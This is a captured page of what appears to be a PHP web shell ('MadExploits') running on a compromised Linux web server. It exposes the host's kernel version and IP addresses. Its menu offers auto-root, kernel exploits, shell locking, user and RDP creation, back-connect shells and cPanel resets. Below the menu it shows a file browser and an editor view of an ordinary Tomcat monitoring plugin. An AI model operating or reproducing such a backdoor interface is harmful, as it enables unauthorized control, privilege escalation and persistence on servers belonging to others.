Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.129.69.134
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
apache.py
19.06
KB
-rw-r--r--
apache_kafka.py
12.9
KB
-rw-r--r--
apache_zookeeper.py
6.26
KB
-rw-r--r--
bandwidth.py
21.3
KB
-rw-r--r--
cassandra.py
9.21
KB
-rw-r--r--
cert.py
2.78
KB
-rw-r--r--
couch.py
9.5
KB
-rw-r--r--
cpu_usage.py
33
KB
-rw-r--r--
dem_plugin.py
6.08
KB
-rw-r--r--
disk.py
16.48
KB
-rw-r--r--
docker.py
38.41
KB
-rw-r--r--
elasticsearch.py
2.83
KB
-rw-r--r--
entropy.py
900
B
-rw-r--r--
exim.py
1.01
KB
-rw-r--r--
file_presence.py
5
KB
-rw-r--r--
haproxy.py
13.37
KB
-rw-r--r--
io_stats.py
13.41
KB
-rw-r--r--
jboss.py
13.46
KB
-rw-r--r--
jmx.py
8.02
KB
-rw-r--r--
linux_logs.py
3.4
KB
-rw-r--r--
lm_sensors.py
2.51
KB
-rw-r--r--
logstash_forwarder.py
1.58
KB
-rw-r--r--
memcache.py
5.99
KB
-rw-r--r--
memory_usage.py
26.11
KB
-rw-r--r--
mongo.py
15.96
KB
-rw-r--r--
mysql.py
19.74
KB
-rw-r--r--
nagios.py
5.36
KB
-rw-r--r--
nginx.py
11.96
KB
-rw-r--r--
nodejs.py
6.29
KB
-rw-r--r--
ntp.py
1.98
KB
-rw-r--r--
opcache.py
2.26
KB
-rw-r--r--
oracle.py
15.15
KB
-rw-r--r--
package_upgrade.py
8.08
KB
-rw-r--r--
phpfpm.py
5.51
KB
-rw-r--r--
ping.py
2.45
KB
-rw-r--r--
postfix.py
1.98
KB
-rw-r--r--
postgresql.py
19.13
KB
-rw-r--r--
process.py
16.32
KB
-rw-r--r--
rabbitmq.py
19.33
KB
-rw-r--r--
redis.py
11.19
KB
-rw-r--r--
sendmail.py
2.39
KB
-rw-r--r--
sysctl.py
1.46
KB
-rw-r--r--
tcp.py
6.26
KB
-rw-r--r--
template.py
3.28
KB
-rw-r--r--
tomcat.py
6.79
KB
-rw-r--r--
tomcat_jmx.py
15.82
KB
-rw-r--r--
unbound_dns.py
4.54
KB
-rw-r--r--
uptime.py
3.46
KB
-rw-r--r--
users.py
1.09
KB
-rw-r--r--
uwsgi.py
4.57
KB
-rw-r--r--
varnish.py
4.79
KB
-rw-r--r--
weblogic.py
13.38
KB
-rw-r--r--
weblogic12c.py
18.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tomcat.py
import re import agent_util from plugins.tomcat_jmx import TomcatJMXPlugin import logging try: from bs4 import BeautifulSoup except: try: import BeautifulSoup except: BeautifulSoup = None from agent_util import float logger = logging.getLogger(__name__) def execute_query(config, query): username = config['username'].strip() password = config["password"].strip() url = config['console_url'] queryType = 'wget -qO-' query = query % (queryType, url, username, password) ret, output = agent_util.execute_command(query) return str(output) def get_all_data(config): query = '%s %s/manager/status/all --user=%s --password=%s' output = str(execute_query(config, query)) dom = BeautifulSoup(output) def parse_item(item, prefix): res = "" for line in item.contents: if isinstance(line, basestring) and not line.strip().startswith("Start time"): res += "%s " % line results = {} for res in re.findall(r"((.*?):\s(.*?)\s((ms|MB|s)\s)?)", res ): key = "%s/%s" % (prefix, res[1].strip()) results[key] = { "value": float(res[2]), "unit": res[4] } return results data = {} all_items = [] for heading in reversed(dom.select('h1')): heading_text = heading.string.strip('"') if heading_text == 'Application list': continue if heading_text == 'JVM': data[heading_text] = {} p = heading.find_next("p") data[heading_text].update(parse_item(p, "Total")) table = heading.find_next("table") if not table: continue for item in table.find("tbody").find_all("tr"): try: row = item.find_all("td") row = [i.text for i in row] mem_type = row[1].replace(" memory", "") pool = row[0] result = {} result['%s/Initial' % mem_type] = { "value": float(row[2].split(" ")[0]), "unit": row[2].split(" ")[1] } result['%s/Total' % mem_type] = { "value": float(row[3].split(" ")[0]), "unit": row[3].split(" ")[1] } result['%s/Max' % mem_type] = { "value": float(row[4].split(" ")[0]), "unit": row[4].split(" ")[1] } result['%s/Used' % mem_type] = { "value": float(row[5].split(" ")[0]), "unit": row[5].split(" ")[1] } result['%s/Used Percentage' % mem_type] = { "value": float(re.findall(r"\(([0-9]*)%\)", row[5])[0]), "unit": "%" } data[pool] = result except Exception: import sys _, e, _ = sys.exc_info() logging.getLogger("plugin 'tomcat'").error(str(e)) pass continue data[heading_text] = {} p = heading.find_next("p") data[heading_text].update(parse_item(p, "Total")) for item in heading.find_all_next("h2"): if item not in all_items: item['id'] = len(all_items) all_items.append(item) p = item.find_next("p") data[heading_text].update(parse_item(p, item.string.split("[")[0].strip())) reverse_data = {} for option, metrics in data.items(): for metric, properties in metrics.items(): metric = metric[0].upper() + metric[1:] if metric not in reverse_data: reverse_data[metric] = { "unit": properties["unit"], "options": {} } reverse_data[metric]["options"][option] = properties["value"] return reverse_data class TomcatPlugin(agent_util.Plugin): textkey = "tomcat" label = "Tomcat" @classmethod def get_metadata(self, config): if 'username' in config and 'console_url' in config and 'password' in config: # Tomcat via wget Plugin status = agent_util.SUPPORTED msg = None # check for tomcat configuration block if ("username" not in config or "console_url" not in config or "password" not in config or BeautifulSoup == None): self.log.info("tomcat is not configured") status = agent_util.MISCONFIGURED msg = "tomcat is not configured properly" return {} # check if tomcat is even installed or running ret, output = agent_util.execute_command('wget -qO- %s' % config['console_url']) if config.get("debug", False): self.log.debug('#####################################################') self.log.debug("Tomcat command 'wget -qO- %s' output:" % config['console_url']) self.log.debug(str(output)) self.log.debug('#####################################################') if ret != 0: self.log.info("tomcat is not running or installed") status = agent_util.UNSUPPORTED msg = "tomcat not found" return {} data = {} for metric, properties in get_all_data(config).items(): data[metric] = { "label": metric, "options": sorted(properties["options"].keys()), "status": status, "error_message": msg, "unit": properties["unit"] or None } return data elif 'host' in config and 'port' in config: # Tomcat via JMX Plugin return TomcatJMXPlugin.get_metadata(config) self.log.error(("tomcat is not configured: you must have either a set" " of [username, console_url, password] or [host, port]" " configured in your tomcat application block.")) return {} def check(self, textkey, data, config): if 'username' in config and 'console_url' in config and 'password' in config: # Tomcat via wget Plugin try: return get_all_data(config)[textkey]['options'][data] except: return 0 elif 'host' in config and 'port' in config: # Tomcat via JMX Plugin return TomcatJMXPlugin.check(textkey, data, config) self.log.error(("tomcat is not configured: you must have either a set" " of [username, console_url, password] or [host, port]" " configured in your tomcat application block.")) return 0
Close